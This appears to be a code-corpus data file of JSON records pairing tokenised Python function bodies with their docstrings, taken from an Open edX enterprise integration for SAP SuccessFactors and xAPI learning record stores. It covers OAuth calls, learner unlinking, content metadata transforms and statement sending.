{"signature": "def _call_post_with_user_override(self, sap_user_id, url, payload):", "body": "SAPSuccessFactorsEnterpriseCustomerConfiguration = apps.get_model(  <EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>)<EOL>oauth_access_token, _ = SAPSuccessFactorsAPIClient.get_oauth_access_token(<EOL>self.enterprise_configuration.sapsf_base_url,<EOL>self.enterprise_configuration.key,<EOL>self.enterprise_configuration.secret,<EOL>self.enterprise_configuration.sapsf_company_id,<EOL>sap_user_id,<EOL>SAPSuccessFactorsEnterpriseCustomerConfiguration.USER_TYPE_USER<EOL>)<EOL>response = requests.post(<EOL>url,<EOL>data=payload,<EOL>headers={<EOL>'<STR_LIT>': '<STR_LIT>'.format(oauth_access_token),<EOL>'<STR_LIT>': '<STR_LIT:application/json>'<EOL>}<EOL>)<EOL>return response.status_code, response.text<EOL>", "docstring": "Make a post request with an auth token acquired for a specific user to a SuccessFactors endpoint.\n\nArgs:\n    sap_user_id (str): The user to use to retrieve an auth token.\n    url (str): The url to post to.\n    payload (str): The json encoded payload to post.", "id": "f16189:c0:m8"}
{"signature": "def _call_post_with_session(self, url, payload):", "body": "now = datetime.datetime.utcnow()<EOL>if now >= self.expires_at:<EOL><INDENT>self.session.close()<EOL>self._create_session()<EOL><DEDENT>response = self.session.post(url, data=payload)<EOL>return response.status_code, response.text<EOL>", "docstring": "Make a post request using the session object to a SuccessFactors endpoint.\n\nArgs:\n    url (str): The url to post to.\n    payload (str): The json encoded payload to post.", "id": "f16189:c0:m9"}
{"signature": "def get_inactive_sap_learners(self):", "body": "now = datetime.datetime.utcnow()<EOL>if now >= self.expires_at:<EOL><INDENT>self.session.close()<EOL>self._create_session()<EOL><DEDENT>sap_search_student_url = '<STR_LIT>'.format(<EOL>sapsf_base_url=self.enterprise_configuration.sapsf_base_url.rstrip('<STR_LIT:/>'),<EOL>search_students_path=self.global_sap_config.search_student_api_path.rstrip('<STR_LIT:/>'),<EOL>search_filter='<STR_LIT>',<EOL>)<EOL>all_inactive_learners = self._call_search_students_recursively(<EOL>sap_search_student_url,<EOL>all_inactive_learners=[],<EOL>page_size=<NUM_LIT>,<EOL>start_at=<NUM_LIT:0><EOL>)<EOL>return all_inactive_learners<EOL>", "docstring": "Make a GET request using the session object to a SuccessFactors endpoint for inactive learners.\n\nExample:\n    sap_search_student_url: \"/learning/odatav4/searchStudent/v1/Students?\n        $filter=criteria/isActive eq False&$select=studentID\"\n\n    SAP API response: {\n        u'@odata.metadataEtag': u'W/\"17090d86-20fa-49c8-8de0-de1d308c8b55\"',\n        u'value': [\n            {\n                u'studentID': u'admint6',\n            },\n            {\n                u'studentID': u'adminsap1',\n            }\n        ]\n    }\n\nReturns: List of inactive learners\n[\n    {\n        u'studentID': u'admint6'\n    },\n    {\n        u'studentID': u'adminsap1'\n    }\n]", "id": "f16189:c0:m10"}
{"signature": "def _call_search_students_recursively(self, sap_search_student_url, all_inactive_learners, page_size, start_at):", "body": "search_student_paginated_url = '<STR_LIT>'.format(<EOL>sap_search_student_url=sap_search_student_url,<EOL>pagination_criterion='<STR_LIT>'.format(<EOL>page_size=page_size,<EOL>start_at=start_at,<EOL>),<EOL>)<EOL>try:<EOL><INDENT>response = self.session.get(search_student_paginated_url)<EOL>sap_inactive_learners = response.json()<EOL><DEDENT>except (ConnectionError, Timeout):<EOL><INDENT>LOGGER.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', search_student_paginated_url,<EOL>)<EOL>return None<EOL><DEDENT>if '<STR_LIT:error>' in sap_inactive_learners:<EOL><INDENT>LOGGER.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>self.enterprise_configuration.enterprise_customer.name,<EOL>self.enterprise_configuration.sapsf_base_url,<EOL>sap_inactive_learners['<STR_LIT:error>'].get('<STR_LIT:message>'),<EOL>sap_inactive_learners['<STR_LIT:error>'].get('<STR_LIT:code>'),<EOL>)<EOL>return None<EOL><DEDENT>new_page_start_at = page_size + start_at<EOL>all_inactive_learners += sap_inactive_learners['<STR_LIT:value>']<EOL>if sap_inactive_learners['<STR_LIT>'] > new_page_start_at:<EOL><INDENT>return self._call_search_students_recursively(<EOL>sap_search_student_url,<EOL>all_inactive_learners,<EOL>page_size=page_size,<EOL>start_at=new_page_start_at,<EOL>)<EOL><DEDENT>return all_inactive_learners<EOL>", "docstring": "Make recursive GET calls to traverse the paginated API response for search students.", "id": "f16189:c0:m11"}
{"signature": "def enterprise_customer_name(self, obj):", "body": "return obj.enterprise_customer.name<EOL>", "docstring": "Returns: the name for the attached EnterpriseCustomer.\n\nArgs:\n    obj: The instance of SAPSuccessFactorsEnterpriseCustomerConfiguration\n        being rendered with this admin form.", "id": "f16190:c1:m0"}
{"signature": "def has_access_token(self, obj):", "body": "try:<EOL><INDENT>access_token, expires_at = SAPSuccessFactorsAPIClient.get_oauth_access_token(<EOL>obj.sapsf_base_url,<EOL>obj.key,<EOL>obj.secret,<EOL>obj.sapsf_company_id,<EOL>obj.sapsf_user_id,<EOL>obj.user_type<EOL>)<EOL><DEDENT>except (RequestException, ValueError):<EOL><INDENT>return False<EOL><DEDENT>return bool(access_token and expires_at)<EOL>", "docstring": "Confirms the presence and validity of the access token for the SAP SuccessFactors client instance\n\nReturns: a bool value indicating the presence of the access token\n\nArgs:\n    obj: The instance of SAPSuccessFactorsEnterpriseCustomerConfiguration\n        being rendered with this admin form.", "id": "f16190:c1:m1"}
{"signature": "def __init__(self, enterprise_configuration, client=SAPSuccessFactorsAPIClient):", "body": "super(SapSuccessFactorsContentMetadataTransmitter, self).__init__(<EOL>enterprise_configuration=enterprise_configuration,<EOL>client=client<EOL>)<EOL>", "docstring": "Use the ``SAPSuccessFactorsAPIClient`` for content metadata transmission to SAPSF.", "id": "f16192:c0:m0"}
{"signature": "def transmit(self, payload, **kwargs):", "body": "items_to_create, items_to_update, items_to_delete, transmission_map = self._partition_items(payload)<EOL>self._prepare_items_for_delete(items_to_delete)<EOL>prepared_items = {}<EOL>prepared_items.update(items_to_create)<EOL>prepared_items.update(items_to_update)<EOL>prepared_items.update(items_to_delete)<EOL>skip_metadata_transmission = False<EOL>for chunk in chunks(prepared_items, self.enterprise_configuration.transmission_chunk_size):<EOL><INDENT>chunked_items = list(chunk.values())<EOL>if skip_metadata_transmission:<EOL><INDENT>self._remove_failed_items(chunked_items, items_to_create, items_to_update, items_to_delete)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>self.client.update_content_metadata(self._serialize_items(chunked_items))<EOL><DEDENT>except ClientError as exc:<EOL><INDENT>LOGGER.error(<EOL>'<STR_LIT>',<EOL>len(chunked_items),<EOL>self.enterprise_configuration.enterprise_customer.name,<EOL>self.enterprise_configuration.channel_code,<EOL>)<EOL>LOGGER.error(exc)<EOL>self._remove_failed_items(chunked_items, items_to_create, items_to_update, items_to_delete)<EOL>skip_metadata_transmission = True<EOL><DEDENT><DEDENT><DEDENT>self._create_transmissions(items_to_create)<EOL>self._update_transmissions(items_to_update, transmission_map)<EOL>self._delete_transmissions(items_to_delete.keys())<EOL>", "docstring": "Transmit content metadata items to the integrated channel.", "id": "f16192:c0:m1"}
{"signature": "def _remove_failed_items(self, failed_items, items_to_create, items_to_update, items_to_delete):", "body": "for item in failed_items:<EOL><INDENT>content_metadata_id = item['<STR_LIT>']<EOL>items_to_create.pop(content_metadata_id, None)<EOL>items_to_update.pop(content_metadata_id, None)<EOL>items_to_delete.pop(content_metadata_id, None)<EOL><DEDENT>", "docstring": "Remove content metadata items from the `items_to_create`, `items_to_update`, `items_to_delete` dicts.\n\nArguments:\n    failed_items (list): Failed Items to be removed.\n    items_to_create (dict): dict containing the items created successfully.\n    items_to_update (dict): dict containing the items updated successfully.\n    items_to_delete (dict): dict containing the items deleted successfully.", "id": "f16192:c0:m2"}
{"signature": "def _prepare_items_for_delete(self, items_to_delete):", "body": "for item in items_to_delete.values():<EOL><INDENT>item['<STR_LIT:status>'] = '<STR_LIT>'<EOL><DEDENT>", "docstring": "Set status to INACTIVE for items that should be deleted.", "id": "f16192:c0:m4"}
{"signature": "def __init__(self, enterprise_configuration, client=SAPSuccessFactorsAPIClient):", "body": "super(SapSuccessFactorsLearnerTransmitter, self).__init__(<EOL>enterprise_configuration=enterprise_configuration,<EOL>client=client<EOL>)<EOL>", "docstring": "By default, use the ``SAPSuccessFactorsAPIClient`` for learner data transmission to SAPSF.", "id": "f16193:c0:m0"}
{"signature": "def transmit(self, payload, **kwargs):", "body": "kwargs['<STR_LIT>'] = '<STR_LIT>'<EOL>kwargs['<STR_LIT>'] = '<STR_LIT>'<EOL>kwargs['<STR_LIT>'] = '<STR_LIT>'<EOL>super(SapSuccessFactorsLearnerTransmitter, self).transmit(payload, **kwargs)<EOL>", "docstring": "Send a completion status call to SAP SuccessFactors using the client.\n\nArgs:\n    payload: The learner completion data payload to send to SAP SuccessFactors", "id": "f16193:c0:m1"}
{"signature": "def handle_transmission_error(self, learner_data, request_exception):", "body": "try:<EOL><INDENT>sys_msg = request_exception.response.content<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if '<STR_LIT>' in sys_msg:<EOL><INDENT>ecu = EnterpriseCustomerUser.objects.get(<EOL>enterprise_enrollments__id=learner_data.enterprise_course_enrollment_id)<EOL>ecu.active = False<EOL>ecu.save()<EOL>LOGGER.warning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>ecu.username, ecu.user_id, ecu.user_email, ecu.enterprise_customer<EOL>)<EOL>return<EOL><DEDENT><DEDENT>super(SapSuccessFactorsLearnerTransmitter, self).handle_transmission_error(learner_data, request_exception)<EOL>", "docstring": "Handle the case where the employee on SAPSF's side is marked as inactive.", "id": "f16193:c0:m2"}
{"signature": "def transform_provider_id(self, content_metadata_item):  ", "body": "return self.enterprise_configuration.provider_id<EOL>", "docstring": "Return the provider ID from the integrated channel configuration.", "id": "f16195:c0:m0"}
{"signature": "def transform_status(self, content_metadata_item):  ", "body": "return '<STR_LIT>'<EOL>", "docstring": "Return the status of the content item.", "id": "f16195:c0:m1"}
{"signature": "def transform_title(self, content_metadata_item):", "body": "title_with_locales = []<EOL>for locale in self.enterprise_configuration.get_locales():<EOL><INDENT>title_with_locales.append({<EOL>'<STR_LIT>': locale,<EOL>'<STR_LIT:value>': content_metadata_item.get('<STR_LIT:title>', '<STR_LIT>')<EOL>})<EOL><DEDENT>return title_with_locales<EOL>", "docstring": "Return the title of the content item.", "id": "f16195:c0:m2"}
{"signature": "def transform_description(self, content_metadata_item):", "body": "description_with_locales = []<EOL>for locale in self.enterprise_configuration.get_locales():<EOL><INDENT>description_with_locales.append({<EOL>'<STR_LIT>': locale,<EOL>'<STR_LIT:value>': (<EOL>content_metadata_item.get('<STR_LIT>') or<EOL>content_metadata_item.get('<STR_LIT>') or<EOL>content_metadata_item.get('<STR_LIT:title>', '<STR_LIT>')<EOL>)<EOL>})<EOL><DEDENT>return description_with_locales<EOL>", "docstring": "Return the description of the content item.", "id": "f16195:c0:m3"}
{"signature": "def transform_image(self, content_metadata_item):", "body": "image_url = '<STR_LIT>'<EOL>if content_metadata_item['<STR_LIT>'] in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>image_url = content_metadata_item.get('<STR_LIT>')<EOL><DEDENT>elif content_metadata_item['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>image_url = content_metadata_item.get('<STR_LIT>')<EOL><DEDENT>return image_url<EOL>", "docstring": "Return the image URI of the content item.", "id": "f16195:c0:m4"}
{"signature": "def transform_launch_points(self, content_metadata_item):", "body": "return [{<EOL>'<STR_LIT>': self.enterprise_configuration.provider_id,<EOL>'<STR_LIT>': content_metadata_item['<STR_LIT>'],<EOL>'<STR_LIT>': content_metadata_item['<STR_LIT:title>'],<EOL>'<STR_LIT>': self.get_content_id(content_metadata_item),<EOL>'<STR_LIT>': <NUM_LIT:3>,  <EOL>'<STR_LIT>': True,  <EOL>'<STR_LIT>': content_metadata_item['<STR_LIT>'],<EOL>}]<EOL>", "docstring": "Return the content metadata item launch points.\n\nSAPSF allows you to transmit an arry of content launch points which\nare meant to represent sections of a content item which a learner can\nlaunch into from SAPSF. Currently, we only provide a single launch\npoint for a content item.", "id": "f16195:c0:m5"}
{"signature": "def transform_revision_number(self, content_metadata_item):  ", "body": "return <NUM_LIT:1><EOL>", "docstring": "Return the revision number.", "id": "f16195:c0:m6"}
{"signature": "def transform_schedule(self, content_metadata_item):  ", "body": "return []<EOL>", "docstring": "Return the schedule of the content item.", "id": "f16195:c0:m7"}
{"signature": "def transform_courserun_title(self, content_metadata_item):", "body": "title = content_metadata_item.get('<STR_LIT:title>') or '<STR_LIT>'<EOL>course_run_start = content_metadata_item.get('<STR_LIT:start>')<EOL>if course_run_start:<EOL><INDENT>if course_available_for_enrollment(content_metadata_item):<EOL><INDENT>title += '<STR_LIT>'.format(<EOL>parse_lms_api_datetime(course_run_start),<EOL>starts=_('<STR_LIT>')<EOL>)<EOL><DEDENT>else:<EOL><INDENT>title += '<STR_LIT>'.format(<EOL>parse_lms_api_datetime(course_run_start),<EOL>enrollment_closed=_('<STR_LIT>')<EOL>)<EOL><DEDENT><DEDENT>title_with_locales = []<EOL>content_metadata_language_code = transform_language_code(content_metadata_item.get('<STR_LIT>', '<STR_LIT>'))<EOL>for locale in self.enterprise_configuration.get_locales(default_locale=content_metadata_language_code):<EOL><INDENT>title_with_locales.append({<EOL>'<STR_LIT>': locale,<EOL>'<STR_LIT:value>': title<EOL>})<EOL><DEDENT>return title_with_locales<EOL>", "docstring": "Return the title of the courserun content item.", "id": "f16195:c0:m8"}
{"signature": "def transform_courserun_description(self, content_metadata_item):", "body": "description_with_locales = []<EOL>content_metadata_language_code = transform_language_code(content_metadata_item.get('<STR_LIT>', '<STR_LIT>'))<EOL>for locale in self.enterprise_configuration.get_locales(default_locale=content_metadata_language_code):<EOL><INDENT>description_with_locales.append({<EOL>'<STR_LIT>': locale,<EOL>'<STR_LIT:value>': (<EOL>content_metadata_item['<STR_LIT>'] or<EOL>content_metadata_item['<STR_LIT>'] or<EOL>content_metadata_item['<STR_LIT:title>'] or<EOL>'<STR_LIT>'<EOL>)<EOL>})<EOL><DEDENT>return description_with_locales<EOL>", "docstring": "Return the description of the courserun content item.", "id": "f16195:c0:m9"}
{"signature": "def transform_courserun_schedule(self, content_metadata_item):", "body": "start = content_metadata_item.get('<STR_LIT:start>') or UNIX_MIN_DATE_STRING<EOL>end = content_metadata_item.get('<STR_LIT:end>') or UNIX_MAX_DATE_STRING<EOL>return [{<EOL>'<STR_LIT>': parse_datetime_to_epoch_millis(start),<EOL>'<STR_LIT>': parse_datetime_to_epoch_millis(end),<EOL>'<STR_LIT>': current_time_is_in_interval(start, end)<EOL>}]<EOL>", "docstring": "Return the schedule of the courseun content item.", "id": "f16195:c0:m10"}
{"signature": "def transform_program_key(self, content_metadata_item):", "body": "return content_metadata_item['<STR_LIT>']<EOL>", "docstring": "Return the identifier of the program content item.", "id": "f16195:c0:m11"}
{"signature": "def get_content_id(self, content_metadata_item):", "body": "content_id = content_metadata_item.get('<STR_LIT:key>', '<STR_LIT>')<EOL>if content_metadata_item['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>content_id = content_metadata_item.get('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>return content_id<EOL>", "docstring": "Return the id for the given content_metadata_item, `uuid` for programs or `key` for other content", "id": "f16195:c0:m12"}
{"signature": "def course_available_for_enrollment(course_run):", "body": "if course_run['<STR_LIT>'] not in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>return False<EOL><DEDENT>return is_course_run_enrollable(course_run)<EOL>", "docstring": "Check if a course run is available for enrollment.", "id": "f16196:m0"}
{"signature": "def transform_language_code(code):", "body": "if code is None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>components = code.split('<STR_LIT:->', <NUM_LIT:2>)<EOL>language_code = components[<NUM_LIT:0>]<EOL>try:<EOL><INDENT>country_code = components[<NUM_LIT:1>]<EOL><DEDENT>except IndexError:<EOL><INDENT>country_code = '<STR_LIT:_>'<EOL><DEDENT>language_family = SUCCESSFACTORS_OCN_LANGUAGE_CODES.get(language_code)<EOL>if not language_family:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return language_family.get(country_code, language_family['<STR_LIT:_>'])<EOL>", "docstring": "Transform ISO language code (e.g. en-us) to the language name expected by SAPSF.", "id": "f16196:m1"}
{"signature": "def get_learner_data_records(self, enterprise_enrollment, completed_date=None, grade=None, is_passing=False):", "body": "completed_timestamp = None<EOL>course_completed = False<EOL>if completed_date is not None:<EOL><INDENT>completed_timestamp = parse_datetime_to_epoch_millis(completed_date)<EOL>course_completed = is_passing<EOL><DEDENT>sapsf_user_id = enterprise_enrollment.enterprise_customer_user.get_remote_id()<EOL>if sapsf_user_id is not None:<EOL><INDENT>SapSuccessFactorsLearnerDataTransmissionAudit = apps.get_model(  <EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>)<EOL>return [<EOL>SapSuccessFactorsLearnerDataTransmissionAudit(<EOL>enterprise_course_enrollment_id=enterprise_enrollment.id,<EOL>sapsf_user_id=sapsf_user_id,<EOL>course_id=parse_course_key(enterprise_enrollment.course_id),<EOL>course_completed=course_completed,<EOL>completed_timestamp=completed_timestamp,<EOL>grade=grade,<EOL>),<EOL>SapSuccessFactorsLearnerDataTransmissionAudit(<EOL>enterprise_course_enrollment_id=enterprise_enrollment.id,<EOL>sapsf_user_id=sapsf_user_id,<EOL>course_id=enterprise_enrollment.course_id,<EOL>course_completed=course_completed,<EOL>completed_timestamp=completed_timestamp,<EOL>grade=grade,<EOL>),<EOL>]<EOL><DEDENT>else:<EOL><INDENT>LOGGER.debug(<EOL>'<STR_LIT>',<EOL>enterprise_enrollment.enterprise_customer_user.username<EOL>)<EOL><DEDENT>", "docstring": "Return a SapSuccessFactorsLearnerDataTransmissionAudit with the given enrollment and course completion data.\n\nIf completed_date is None and the learner isn't passing, then course completion has not been met.\n\nIf no remote ID can be found, return None.", "id": "f16197:c0:m0"}
{"signature": "def __init__(self, enterprise_configuration, client=SAPSuccessFactorsAPIClient):", "body": "self.enterprise_configuration = enterprise_configuration<EOL>self.client = client(enterprise_configuration) if client else None<EOL>", "docstring": "Use the ``SAPSuccessFactorsAPIClient`` for content metadata transmission to SAPSF.\n\nArguments:\n    enterprise_configuration (required): SAPSF configuration connecting an enterprise to an integrated channel.\n    client: The REST API client that will fetch data from integrated channel.", "id": "f16197:c1:m0"}
{"signature": "def unlink_learners(self):", "body": "sap_inactive_learners = self.client.get_inactive_sap_learners()<EOL>enterprise_customer = self.enterprise_configuration.enterprise_customer<EOL>if not sap_inactive_learners:<EOL><INDENT>LOGGER.info(<EOL>'<STR_LIT>',<EOL>enterprise_customer.name<EOL>)<EOL>return<EOL><DEDENT>provider_id = enterprise_customer.identity_provider<EOL>tpa_provider = get_identity_provider(provider_id)<EOL>if not tpa_provider:<EOL><INDENT>LOGGER.info(<EOL>'<STR_LIT>',<EOL>enterprise_customer.name<EOL>)<EOL>return None<EOL><DEDENT>for sap_inactive_learner in sap_inactive_learners:<EOL><INDENT>social_auth_user = get_user_from_social_auth(tpa_provider, sap_inactive_learner['<STR_LIT>'])<EOL>if not social_auth_user:<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>EnterpriseCustomerUser.objects.unlink_user(<EOL>enterprise_customer=enterprise_customer,<EOL>user_email=social_auth_user.email,<EOL>)<EOL><DEDENT>except (EnterpriseCustomerUser.DoesNotExist, PendingEnterpriseCustomerUser.DoesNotExist):<EOL><INDENT>LOGGER.info(<EOL>'<STR_LIT>',<EOL>social_auth_user.email,<EOL>enterprise_customer.name<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "Iterate over each learner and unlink inactive SAP channel learners.\n\nThis method iterates over each enterprise learner and unlink learner\nfrom the enterprise if the learner is marked inactive in the related\nintegrated channel.", "id": "f16197:c1:m1"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\".format(id=self.id)<EOL>", "docstring": "Return a human-readable string representation of the object.", "id": "f16198:c0:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16198:c0:m1"}
{"signature": "def get_locales(self, default_locale=None):", "body": "locales = []<EOL>if default_locale is None:<EOL><INDENT>locales.append('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>locales.append(default_locale)<EOL><DEDENT>return set(<EOL>locales + [locale.strip() for locale in self.additional_locales.split(\"<STR_LIT:U+002C>\") if locale.strip()]<EOL>)<EOL>", "docstring": "Get the list of all(default + additional) locales\n\nArgs:\n    default_locale (str): Value of the default locale\n\nReturns:\n    list: available locales", "id": "f16198:c1:m0"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\".format(<EOL>enterprise_name=self.enterprise_customer.name<EOL>)<EOL>", "docstring": "Return human-readable string representation.", "id": "f16198:c1:m1"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16198:c1:m2"}
{"signature": "@staticmethod<EOL><INDENT>def channel_code():<DEDENT>", "body": "return '<STR_LIT>'<EOL>", "docstring": "Returns an capitalized identifier for this channel class, unique among subclasses.", "id": "f16198:c1:m3"}
{"signature": "@property<EOL><INDENT>def provider_id(self):<DEDENT>", "body": "return SAPSuccessFactorsGlobalConfiguration.current().provider_id<EOL>", "docstring": "Fetch ``provider_id`` from global configuration settings", "id": "f16198:c1:m4"}
{"signature": "def get_learner_data_transmitter(self):", "body": "return SapSuccessFactorsLearnerTransmitter(self)<EOL>", "docstring": "Return a ``SapSuccessFactorsLearnerTransmitter`` instance.", "id": "f16198:c1:m5"}
{"signature": "def get_learner_data_exporter(self, user):", "body": "return SapSuccessFactorsLearnerExporter(user, self)<EOL>", "docstring": "Return a ``SapSuccessFactorsLearnerDataExporter`` instance.", "id": "f16198:c1:m6"}
{"signature": "def get_content_metadata_transmitter(self):", "body": "return SapSuccessFactorsContentMetadataTransmitter(self)<EOL>", "docstring": "Return a ``SapSuccessFactorsContentMetadataTransmitter`` instance.", "id": "f16198:c1:m7"}
{"signature": "def get_content_metadata_exporter(self, user):", "body": "return SapSuccessFactorsContentMetadataExporter(user, self)<EOL>", "docstring": "Return a ``SapSuccessFactorsContentMetadataExporter`` instance.", "id": "f16198:c1:m8"}
{"signature": "def get_learner_manger(self):", "body": "return SapSuccessFactorsLearnerManger(self)<EOL>", "docstring": "Return a ``SapSuccessFactorsLearnerManger`` instance.", "id": "f16198:c1:m9"}
{"signature": "def unlink_inactive_learners(self):", "body": "sap_learner_manager = self.get_learner_manger()<EOL>sap_learner_manager.unlink_learners()<EOL>", "docstring": "Unlink inactive SAP learners form their related enterprises", "id": "f16198:c1:m10"}
{"signature": "def __str__(self):", "body": "return (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>transmission_id=self.id,<EOL>enterprise_course_enrollment_id=self.enterprise_course_enrollment_id,<EOL>sapsf_user_id=self.sapsf_user_id,<EOL>course_id=self.course_id<EOL>)<EOL>)<EOL>", "docstring": "Return a human-readable string representation of the object.", "id": "f16198:c2:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16198:c2:m1"}
{"signature": "@property<EOL><INDENT>def provider_id(self):<DEDENT>", "body": "return SAPSuccessFactorsGlobalConfiguration.current().provider_id<EOL>", "docstring": "Fetch ``provider_id`` from global configuration settings", "id": "f16198:c2:m2"}
{"signature": "def serialize(self, *args, **kwargs):  ", "body": "return json.dumps(self._payload_data(), sort_keys=True)<EOL>", "docstring": "Return a JSON-serialized representation.\n\nSort the keys so the result is consistent and testable.\n\n# TODO: When we refactor to use a serialization flow consistent with how course metadata\n# is serialized, remove the serialization here and make the learner data exporter handle the work.", "id": "f16198:c2:m3"}
{"signature": "def _payload_data(self):", "body": "return dict(<EOL>userID=self.sapsf_user_id,<EOL>courseID=self.course_id,<EOL>providerID=self.provider_id,<EOL>courseCompleted=\"<STR_LIT:true>\" if self.course_completed else \"<STR_LIT:false>\",<EOL>completedTimestamp=self.completed_timestamp,<EOL>grade=self.grade,<EOL>)<EOL>", "docstring": "Convert the audit record's fields into SAP SuccessFactors key/value pairs.", "id": "f16198:c2:m4"}
{"signature": "def get_enterprise_user_id(self, obj):", "body": "<EOL>enterprise_learner = EnterpriseCustomerUser.objects.filter(user_id=obj.id).first()<EOL>return enterprise_learner and enterprise_learner.id<EOL>", "docstring": "Get enterprise user id from user object.\n\nArguments:\n    obj (User): Django User object\n\nReturns:\n    (int): Primary Key identifier for enterprise user object.", "id": "f16199:c0:m0"}
{"signature": "def get_enterprise_sso_uid(self, obj):", "body": "<EOL>enterprise_learner = EnterpriseCustomerUser.objects.filter(user_id=obj.id).first()<EOL>return enterprise_learner and enterprise_learner.get_remote_id()<EOL>", "docstring": "Get enterprise SSO UID.\n\nArguments:\n    obj (User): Django User object\n\nReturns:\n    (str): string containing UUID for enterprise customer's Identity Provider.", "id": "f16199:c0:m1"}
{"signature": "def get_course_duration(self, obj):", "body": "duration = obj.end - obj.start if obj.start and obj.end else None<EOL>if duration:<EOL><INDENT>return strfdelta(duration, '<STR_LIT>')<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Get course's duration as a timedelta.\n\nArguments:\n    obj (CourseOverview): CourseOverview object\n\nReturns:\n    (timedelta): Duration of a course.", "id": "f16199:c1:m0"}
{"signature": "def __init__(self, lrs_configuration):", "body": "self.lrs_configuration = lrs_configuration<EOL>", "docstring": "Initialize xAPI client.\n\nArguments:\n     lrs_configuration (XAPILRSConfiguration): Configuration object for xAPI LRS.", "id": "f16203:c0:m0"}
{"signature": "@property<EOL><INDENT>def lrs(self):<DEDENT>", "body": "return RemoteLRS(<EOL>version=self.lrs_configuration.version,<EOL>endpoint=self.lrs_configuration.endpoint,<EOL>auth=self.lrs_configuration.authorization_header,<EOL>)<EOL>", "docstring": "LRS client instance to be used for sending statements.", "id": "f16203:c0:m1"}
{"signature": "def save_statement(self, statement):", "body": "response = self.lrs.save_statement(statement)<EOL>if not response:<EOL><INDENT>raise ClientError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Save xAPI statement.\n\nArguments:\n    statement (EnterpriseStatement): xAPI Statement to send to the LRS.\n\nRaises:\n    ClientError: If xAPI statement fails to save.", "id": "f16203:c0:m2"}
{"signature": "def enterprise_customer_name(self, obj):", "body": "return obj.enterprise_customer.name<EOL>", "docstring": "Returns: the name for the attached EnterpriseCustomer.\n\nArguments:\n    obj: The instance of XAPILRSConfiguration\n        being rendered with this admin form.", "id": "f16204:c0:m0"}
{"signature": "def add_arguments(self, parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>required=False,<EOL>type=int,<EOL>default=<NUM_LIT:1>,<EOL>help='<STR_LIT>'<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>dest='<STR_LIT>',<EOL>type=str,<EOL>required=False,<EOL>help='<STR_LIT>'<EOL>)<EOL>super(Command, self).add_arguments(parser)<EOL>", "docstring": "Add required arguments to the parser.", "id": "f16207:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def parse_arguments(*args, **options):  <DEDENT>", "body": "days = options.get('<STR_LIT>', <NUM_LIT:1>)<EOL>enterprise_customer_uuid = options.get('<STR_LIT>')<EOL>enterprise_customer = None<EOL>if enterprise_customer_uuid:<EOL><INDENT>try:<EOL><INDENT>enterprise_customer = EnterpriseCustomer.objects.get(uuid=enterprise_customer_uuid)<EOL><DEDENT>except EnterpriseCustomer.DoesNotExist:<EOL><INDENT>raise CommandError('<STR_LIT>'.format(<EOL>enterprise_customer_uuid=enterprise_customer_uuid<EOL>))<EOL><DEDENT><DEDENT>return days, enterprise_customer<EOL>", "docstring": "Parse and validate arguments for send_course_enrollments command.\n\nArguments:\n    *args: Positional arguments passed to the command\n    **options: optional arguments passed to the command\n\nReturns:\n    A tuple containing parsed values for\n    1. days (int): Integer showing number of days to lookup enterprise enrollments,\n        course completion etc and send to xAPI LRS\n    2. enterprise_customer_uuid (EnterpriseCustomer): Enterprise Customer if present then\n        send xAPI statements just for this enterprise.", "id": "f16207:c0:m1"}
{"signature": "def handle(self, *args, **options):", "body": "if not CourseEnrollment:<EOL><INDENT>raise NotConnectedToOpenEdX(\"<STR_LIT>\")<EOL><DEDENT>days, enterprise_customer = self.parse_arguments(*args, **options)<EOL>if enterprise_customer:<EOL><INDENT>try:<EOL><INDENT>lrs_configuration = XAPILRSConfiguration.objects.get(<EOL>active=True,<EOL>enterprise_customer=enterprise_customer<EOL>)<EOL><DEDENT>except XAPILRSConfiguration.DoesNotExist:<EOL><INDENT>raise CommandError('<STR_LIT>'.format(<EOL>enterprise_customer=enterprise_customer.name<EOL>))<EOL><DEDENT>self.send_xapi_statements(lrs_configuration, days)<EOL><DEDENT>else:<EOL><INDENT>for lrs_configuration in XAPILRSConfiguration.objects.filter(active=True):<EOL><INDENT>self.send_xapi_statements(lrs_configuration, days)<EOL><DEDENT><DEDENT>", "docstring": "Send xAPI statements.", "id": "f16207:c0:m2"}
